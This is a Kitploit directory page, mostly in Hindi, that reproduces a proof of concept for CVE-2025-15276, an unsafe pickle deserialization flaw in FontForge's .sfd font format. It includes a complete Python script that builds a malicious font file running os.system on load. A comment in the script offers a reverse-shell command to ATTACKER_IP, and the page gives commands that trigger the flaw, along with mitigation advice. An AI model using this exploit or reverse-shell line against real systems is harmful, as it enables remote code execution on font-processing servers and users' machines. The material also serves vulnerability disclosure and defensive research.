Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-15276-poc — अवधारणा का प्रमाण - CVE-2025-15276 - FontForge SFD File Parsing Deserialization of Untrusted Data Remote Code Execution Vulnerability | Kitploit
उपकरण/GitHubGitHub/ahmedreda38/cve-2025-15276-poc
पेलोड जनरेशनभेद्यता विश्लेषणशोषणलर्निंग और शिक्षारिमोट एक्सेस टूलबाइनरी शोषण
GitHubahmedreda38/cve-2025-15276-poc

CVE-2025-15276-poc

अवधारणा का प्रमाण - CVE-2025-15276 - FontForge SFD File Parsing Deserialization of Untrusted Data Remote Code Execution Vulnerability

रिपॉजिटरी देखें
2267 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-15276: FontForge SFD PickledData असुरक्षित डिसीरियलाइज़ेशन (RCE)

अस्वीकरण

यह प्रूफ ऑफ कॉन्सेप्ट (PoC) केवल शैक्षिक उद्देश्यों और सुरक्षा ऑडिटिंग के लिए है। लेखक इस जानकारी के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है। कंप्यूटर सिस्टम में अनधिकृत पहुंच अवैध है। किसी भी सिस्टम पर सुरक्षा परीक्षण करने से पहले हमेशा स्पष्ट अनुमति प्राप्त करें।


भेद्यता अवलोकन

CVE-2025-15276 FontForge (संस्करण 20230101 तक और इसमें शामिल) में एक गंभीर रिमोट कोड निष्पादन (RCE) भेद्यता है। यह दोष स्प्लाइन फ़ॉन्ट डेटाबेस (.sfd) प्रारूप के पार्सिंग में विशेष रूप से PickledData फ़ील्ड के भीतर मौजूद है।

तकनीकी विवरण

FontForge का SFD प्रारूप PickledData कीवर्ड का उपयोग करके लगातार पायथन शब्दकोशों को संग्रहीत करने की अनुमति देता है। जब कोई फ़ॉन्ट लोड किया जाता है, तो FontForge इस स्ट्रिंग को निकालता है और इसे बिना किसी सैनिटाइज़ेशन या सैंडबॉक्सिंग के सीधे Python के pickle.loads() फ़ंक्शन (या समकक्ष आंतरिक डिसीरियलाइज़ेशन रूटीन) में पास करता है।

क्योंकि Python pickle मॉड्यूल स्वाभाविक रूप से असुरक्षित है और मनमानी वस्तु पुनर्निर्माण की अनुमति देता है, एक हमलावर FontForge चलाने वाले उपयोगकर्ता के विशेषाधिकारों के साथ मनमाने सिस्टम कमांड को निष्पादित करने के लिए __reduce__ विधि का उपयोग कर सकता है।


पुनरुत्पादन चरण

1. आवश्यकताएँ

  • असुरक्षित FontForge: संस्करण 20230101 या उससे पहले।
  • Python 3.x: दुर्भावनापूर्ण पेलोड उत्पन्न करने के लिए।

2. दुर्भावनापूर्ण SFD फ़ाइल उत्पन्न करें

exploit.sfd फ़ाइल बनाने के लिए निम्नलिखित Python स्क्रिप्ट (gen_poc.py) का उपयोग करें। यह PoC समझौता (IoC) के एक सुरक्षित संकेतक के रूप में /tmp/pwned में एक फ़ाइल बनाने के लिए कॉन्फ़िगर किया गया है।

import pickle
import os

# For a reverse shell: "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'"
cmd = "bash -c 'touch /tmp/pwned'"

class Exploit(object):
    def __reduce__(self):
        return (os.system, (cmd,))

# Serialize the object using Protocol 0 (ASCII) for SFD compatibility
payload = pickle.dumps(Exploit(), protocol=0).decode('ascii')

# Escape backslashes and quotes as required by the SFD format
escaped_payload = payload.replace('\\', '\\\\').replace('"', '\\"')

# Construct the minimal SFD structure
sfd_content = f"""SplineFontDB: 3.2
FontName: ExploitFont
FullName: Exploit Font
FamilyName: Exploit
Weight: Regular
PickledData: "{escaped_payload}"
EndSplineFont
"""

with open("exploit.sfd", "w") as f:
    f.write(sfd_content)

print("[+] exploit.sfd generated successfully.")

3. भेद्यता को ट्रिगर करें

भेद्यता को केवल FontForge के साथ फ़ाइल खोलकर ट्रिगर किया जा सकता है।

विकल्प A: मानक GUI/CLI लोड

fontforge exploit.sfd

विकल्प B: Python स्क्रिप्टिंग इंटरफ़ेस (स्वचालित पाइपलाइनों में सामान्य)

fontforge -c 'import fontforge; fontforge.open("exploit.sfd")'

4. सत्यापन

जांचें कि कमांड निष्पादित हुआ या नहीं:

ls -l /tmp/pwned

स्वचालित वातावरण में प्रभाव

यह भेद्यता फ़ॉन्ट प्रोसेसिंग पाइपलाइनों (जैसे, वेब-आधारित फ़ॉन्ट कन्वर्टर या स्वचालित सत्यापन स्क्रिप्ट) में विशेष रूप से खतरनाक है जो बैकएंड पर उपयोगकर्ता द्वारा अपलोड की गई फ़ाइलों को संसाधित करने के लिए FontForge का उपयोग करती हैं। यदि बैकएंड स्क्रिप्ट किसी अविश्वसनीय .sfd फ़ाइल पर fontforge.open() को कॉल करती है, तो हमलावर को प्रोसेसिंग सर्वर पर पूर्ण नियंत्रण प्राप्त हो जाता है।


शमन

  1. FontForge अपडेट करें: नवीनतम संस्करण (v78.1.1 या बाद का) में अपग्रेड करें, जहां इन असुरक्षित डिसीरियलाइज़ेशन पथों को पैच या प्रतिबंधित किया गया है।
  2. इनपुट को सैनिटाइज़ करें: यदि आप FontForge API का उपयोग करके टूल बना रहे हैं, तो प्रसंस्करण से पहले फ़ाइल प्रारूप को सख्ती से मान्य करें और कभी भी अविश्वसनीय स्रोतों से .sfd फ़ाइलों को प्रोसेस न होने दें।
  3. सैंडबॉक्सिंग: फ़ॉन्ट प्रोसेसिंग कार्यों को कम विशेषाधिकार वाले कंटेनर (जैसे, Docker) या प्रतिबंधित सैंडबॉक्स के अंदर चलाएं ताकि संभावित समझौते के प्रभाव को सीमित किया जा सके।

संदर्भ

  • CVE-2025-15276 NVD प्रविष्टि
  • ज़ीरो डे इनिशिएटिव (ZDI) रिपोर्ट
  • FontForge GitHub रिपॉजिटरी
टूल डाउनलोड करें